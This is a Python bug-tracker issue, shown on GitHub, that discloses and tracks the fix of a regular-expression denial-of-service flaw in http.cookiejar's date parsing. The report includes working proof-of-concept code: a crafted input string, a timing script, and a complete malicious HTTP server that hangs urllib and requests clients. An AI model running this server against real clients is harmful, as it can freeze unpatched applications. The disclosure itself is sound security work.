Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Regular Expression Denial of Service in http.cookiejar #82985

Closed
bcaller mannequin opened this issue Nov 14, 2019 · 9 comments
Closed

Regular Expression Denial of Service in http.cookiejar #82985

bcaller mannequin opened this issue Nov 14, 2019 · 9 comments
Labels
stdlib Python modules in the Lib dir type-security A security issue

Comments

@bcaller
Copy link
Mannequin

bcaller mannequin commented Nov 14, 2019

BPO 38804
Nosy @vstinner, @larryhastings, @ned-deily, @serhiy-storchaka, @miss-islington, @tirkarthi, @bcaller
PRs
  • bpo-38804: Fix REDoS in http.cookiejar #17157
  • [3.8] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) #17341
  • [3.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) #17342
  • [3.6] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) #17343
  • [3.5] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) #17344
  • [2.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) #17345
  • Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.

    Show more details

    GitHub fields:

    assignee = None
    closed_at = <Date 2020-05-14.12:46:41.697>
    created_at = <Date 2019-11-14.23:37:59.980>
    labels = ['type-security', 'library']
    title = 'Regular Expression Denial of Service in http.cookiejar'
    updated_at = <Date 2020-05-14.12:46:41.696>
    user = 'https://github.com/bcaller'

    bugs.python.org fields:

    activity = <Date 2020-05-14.12:46:41.696>
    actor = 'vstinner'
    assignee = 'none'
    closed = True
    closed_date = <Date 2020-05-14.12:46:41.697>
    closer = 'vstinner'
    components = ['Library (Lib)']
    creation = <Date 2019-11-14.23:37:59.980>
    creator = 'bc'
    dependencies = []
    files = []
    hgrepos = []
    issue_num = 38804
    keywords = ['patch']
    message_count = 9.0
    messages = ['356636', '357290', '357292', '357293', '357294', '357327', '357398', '365668', '368833']
    nosy_count = 7.0
    nosy_names = ['vstinner', 'larry', 'ned.deily', 'serhiy.storchaka', 'miss-islington', 'xtreak', 'bc']
    pr_nums = ['17157', '17341', '17342', '17343', '17344', '17345']
    priority = None
    resolution = 'fixed'
    stage = 'resolved'
    status = 'closed'
    superseder = None
    type = 'security'
    url = 'https://bugs.python.org/issue38804'
    versions = ['Python 3.5']

    @bcaller
    Copy link
    Mannequin Author

    bcaller mannequin commented Nov 14, 2019

    The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
    expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time.

    The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups.
    Ignoring the ?-optional capture groups the regex can be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$
    

    Therefore, a long sequence of spaces can trigger bad performance.
    LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or (?![APap][Mm]\b)[A-Za-z]+

    Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")
    

    will cause catastrophic backtracking.

    Timing test:

        import http.cookiejar
        import timeit
    
        def run(n_spaces):
            assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
            spaces = " " * n_spaces
            expires = f"1-1-1{spaces}!"
            http2time = http.cookiejar.http2time
            t = timeit.Timer(
                'http2time(expires)',
                globals=locals(),
            )
            print(n_spaces, "{:.3g}".format(t.autorange()[1]))
    
        i = 512
        while True:
            run(i)
            i <<= 1

    Timeit output (seconds) on my computer when doubling the number of spaces:

    512     0.383
    1024    3.02
    2048   23.4
    4096  184
    8192 1700
    

    As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days.

    You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g.

        from http.server import BaseHTTPRequestHandler, HTTPServer
    
        def make_set_cookie_value(n_spaces):
            spaces = " " * n_spaces
            expiry = f"1-1-1{spaces}!"
            return f"x;Expires={expiry}"
    
        class Handler(BaseHTTPRequestHandler):
            def do_GET(self):
                self.log_request(204)
                self.send_response_only(204)  # Don't bother sending Server and Date
                n_spaces = (
                    int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                    if len(self.path) > 1 else
                    65506  # Max header line length 65536
                )
                value = make_set_cookie_value(n_spaces)
                for i in range(99):  # Not necessary, but we can have up to 100 header lines
                    self.send_header("Set-Cookie", value)
                self.end_headers()
    
        if __name__ == "__main__":
            HTTPServer(("", 44020), Handler).serve_forever()

    This server returns 99 Set-Cookie headers. Each has 65506 spaces.
    Extracting the cookies will pretty much never complete.

    Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html :

        import http.cookiejar, urllib.request
        cj = http.cookiejar.CookieJar()
        opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
        r = opener.open("http://localhost:44020/")

    The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default):

        import requests
        requests.get("http://localhost:44020/")

    As such, python applications need to be careful not to visit malicious servers.

    I have a patch. Will make a PR soon.
    This was originally submitted to the security list, but posted here 'since this is "merely" a DoS attack and not a privilege escalation'.

    • Ben

    @bcaller bcaller mannequin added 3.7 (EOL) end of life 3.8 only security fixes 3.9 only security fixes stdlib Python modules in the Lib dir type-security A security issue labels Nov 14, 2019
    @vstinner
    Copy link
    Member

    New changeset 1b779bf by Victor Stinner (bcaller) in branch 'master':
    bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
    1b779bf

    @miss-islington
    Copy link
    Contributor

    New changeset a1e1be4 by Miss Islington (bot) in branch '3.8':
    bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
    a1e1be4

    @miss-islington
    Copy link
    Contributor

    New changeset cb60851 by Miss Islington (bot) in branch '3.7':
    bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
    cb60851

    @vstinner
    Copy link
    Member

    I'm now tracking this vulnerability at:
    https://python-security.readthedocs.io/vuln/cookiejar-redos.html

    @ned-deily
    Copy link
    Member

    New changeset 0716056 by Ned Deily (Miss Islington (bot)) in branch '3.6':
    bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (bpo-17343)
    0716056

    @vstinner
    Copy link
    Member

    New changeset e649903 by Victor Stinner in branch '2.7':
    bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)
    e649903

    @serhiy-storchaka serhiy-storchaka added release-blocker and removed 3.7 (EOL) end of life 3.8 only security fixes 3.9 only security fixes labels Mar 27, 2020
    @larryhastings
    Copy link
    Contributor

    New changeset 55a6a16 by Victor Stinner in branch '3.5':
    bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (bpo-17344)
    55a6a16

    @vstinner
    Copy link
    Member

    The fix landed in all maintained versions, thanks. I close the issue.

    @ezio-melotti ezio-melotti transferred this issue from another repository Apr 10, 2022
    Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
    Labels
    stdlib Python modules in the Lib dir type-security A security issue
    Projects
    None yet
    Development

    No branches or pull requests

    5 participants